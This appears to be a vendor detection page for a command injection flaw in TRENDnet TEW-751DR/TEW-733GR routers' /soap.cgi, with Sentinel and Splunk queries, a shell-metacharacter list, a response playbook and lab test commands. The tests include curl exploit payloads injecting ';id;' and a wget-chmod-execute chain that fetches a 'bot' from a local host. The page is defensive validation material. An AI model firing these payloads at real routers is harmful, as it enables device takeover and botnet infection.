Detect TRENDnet TEW-751DR/TEW-733GR soap.cgi soapcgi_main OS Command Injection (CVE-2026-138004) in Microsoft Sentinel
Detects exploitation attempts against the OS command injection vulnerability (CWE-77, CWE-78) in the soapcgi_main function of /soap.cgi on TRENDnet TEW-751DR and TEW-733GR 1.03B01 routers. The flaw has a CVSS score of 9.3 and has been publicly disclosed. It allows unauthenticated remote attackers to inject arbitrary OS commands via crafted SOAP requests to the soap.cgi endpoint, typically through the SOAPAction header or request body. Detection focuses on HTTP requests to /soap.cgi containing shell metacharacters and on downstream process-execution telemetry, if endpoint or firmware logging is available, indicating command injection on the embedded Linux device.
MITRE ATT&CK
- Tactic
- Initial Access Execution
KQL Detection Query
// df00tech DF00-0f2f212719 · https://df00tech.com/detections/CVE-2026-138004 · licence: https://df00tech.com/detections/licence
let suspiciousChars = dynamic([";","|","&","`","$(","${","%3B","%7C","%26","%60","$(","&&","||"]);
let soapEndpoints = dynamic(["/soap.cgi"]);
(union isfuzzy=true
(CommonSecurityLog
| where DeviceProduct has_any ("TRENDnet","TEW-751DR","TEW-733GR") or RequestURL has "/soap.cgi"
| extend Url = coalesce(RequestURL, column_ifexists("RequestURL",""))
| where Url has_any (soapEndpoints)
| where Url has_any (suspiciousChars) or AdditionalExtensions has_any (suspiciousChars)
| project TimeGenerated, SourceIP, DestinationIP, Url, DeviceAction, Message=AdditionalExtensions),
(W3CIISLog
| where csUriStem has "/soap.cgi"
| where csUriQuery has_any (suspiciousChars) or csUriStem has_any (suspiciousChars)
| project TimeGenerated, SourceIP=cIP, DestinationIP=sIP, Url=csUriStem, DeviceAction="", Message=csUriQuery))
| summarize Attempts=count(), SampleUrls=make_set(Url,5) by SourceIP, DestinationIP, bin(TimeGenerated, 10m)
| where Attempts >= 1 Identifies HTTP requests to /soap.cgi containing shell metacharacters (raw or URL-encoded) against TRENDnet devices, in reverse-proxy, firewall, or IIS/WAF logs forwarding to the device.
Data Sources
Required Tables
False Positives & Tuning
- Legitimate SOAP client traffic to soap.cgi that happens to include ampersands in XML entity references
- Vulnerability scanners and authorized penetration tests probing the endpoint
- Security appliances that URL-encode benign query strings containing semicolons
Other platforms for CVE-2026-138004
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.
- Test 1 Simulated soap.cgi command injection via curl (lab)
Expected signal: HTTP request to /soap.cgi containing a semicolon and 'id' command in the body captured by proxy/firewall/network sensors.
- Test 2 URL-encoded injection probe
Expected signal: HTTP request with %3B and %60 encoded metacharacters in the query string targeting soap.cgi.
- Test 3 Download-and-execute payload simulation
Expected signal: Request to soap.cgi containing chained shell commands (cd, wget, chmod) and a subsequent outbound connection attempt from the device.
Response Playbook
Triage
- Confirm the destination IP is a TRENDnet TEW-751DR or TEW-733GR device running firmware 1.03B01 or a related vulnerable build, and that /soap.cgi is reachable from the source network.
- Decode the full request URL and body and extract the injected command string following shell metacharacters (;, |, &, `, $()) to determine attacker intent.
- Correlate the source IP against threat intelligence and check for prior reconnaissance (scans of /soap.cgi, SOAPAction probing) from the same host.
- Determine whether the request received a 200 response or anomalous timing suggesting command execution succeeded.
Containment
- Block the offending source IP(s) at the perimeter firewall and restrict access to the router management interface (/soap.cgi) to trusted admin networks only.
- Isolate the affected router from untrusted networks (disable WAN-side management) and, if compromise is suspected, power-cycle and factory-reset the device, then reflash with vendor-provided firmware.
Evidence Collection
- Capture full PCAP / proxy logs of the request and response to /soap.cgi including headers and body for forensic analysis.
- Export router syslog, admin access logs, and any available crash/core dumps from the device before resetting; preserve firewall flow records for the source IP.
Escalation Criteria
- !Escalate to incident response if the injected command indicates download-and-execute (wget/curl/tftp to pull a payload) or botnet enrollment (Mirai-style behavior).
- !Escalate if multiple internal devices received the same crafted /soap.cgi requests or if outbound connections from the router to unknown hosts are observed post-exploitation.
Investigation Guide
Forensic Artifacts
- >
HTTP access logs / firewall logs showing POST or GET to /soap.cgi with metacharacters - >
Router syslog entries and process-spawn records around the request time - >
Unexpected files written to /tmp or /var on the device and new outbound connections from the router IP
Tuning Guidance
Baseline legitimate SOAP traffic to soap.cgi from internal management tools and exclude those source IPs. Tighten the metacharacter regex to the device's actual injectable parameters (SOAPAction header, service field) once a working PoC is analyzed. Where endpoint telemetry from the router is unavailable, rely on network/proxy layers and raise severity when the injected string contains download utilities (wget, curl, tftp).
Hunting Queries
Surface sources repeatedly hitting /soap.cgi with shell metacharacters to spot scanning or exploitation campaigns.
// df00tech DF00-0f2f212719 · https://df00tech.com/detections/CVE-2026-138004 · licence: https://df00tech.com/detections/licence
CommonSecurityLog | where RequestURL has "/soap.cgi" | where RequestURL has_any (";","|","`","$(") | summarize count() by SourceIP, bin(TimeGenerated,1h) | order by count_ desc ``` df00tech DF00-0f2f212719 · https://df00tech.com/detections/CVE-2026-138004 · licence: https://df00tech.com/detections/licence ```
index=* url="*/soap.cgi*" (url="*;*" OR url="*|*" OR url="*`*") | stats count by src_ip | sort - count Atomic Red Team Tests
Sends a crafted request to a lab TRENDnet device (or mock) with a shell metacharacter in a SOAP parameter to emulate CVE-2026-138004 exploitation.
Command
curl -s -X POST 'http://192.168.10.1/soap.cgi' -H 'SOAPAction: http://purenetworks.com/HNAP1/GetDeviceSettings' --data 'service=;id;' Cleanup
echo 'No persistent change; clear any test logs if desired' Expected Telemetry
HTTP request to /soap.cgi containing a semicolon and 'id' command in the body captured by proxy/firewall/network sensors.
Expected Detection
KQL/SPL rules flag the request to /soap.cgi containing shell metacharacters.
Sends URL-encoded shell metacharacters to /soap.cgi to validate encoded-pattern detection.
Command
curl -s 'http://192.168.10.1/soap.cgi?service=test%3B%60wget%20http%3A%2F%2F10.0.0.5%2Fx%60' Cleanup
true Expected Telemetry
HTTP request with %3B and %60 encoded metacharacters in the query string targeting soap.cgi.
Expected Detection
Detection rules match URL-encoded metacharacters (%3B, %60) against the soap.cgi endpoint.
Emulates a Mirai-style exploitation attempt injecting a wget download command through soap.cgi.
Command
curl -s -X POST 'http://192.168.10.1/soap.cgi' --data 'service=x;cd /tmp && wget http://10.0.0.5/bot -O m && chmod +x m && ./m;' Cleanup
rm -f /tmp/m 2>/dev/null; true Expected Telemetry
Request to soap.cgi containing chained shell commands (cd, wget, chmod) and a subsequent outbound connection attempt from the device.
Expected Detection
Rules flag the request for shell metacharacters plus download utilities, and hunting queries surface the outbound connection.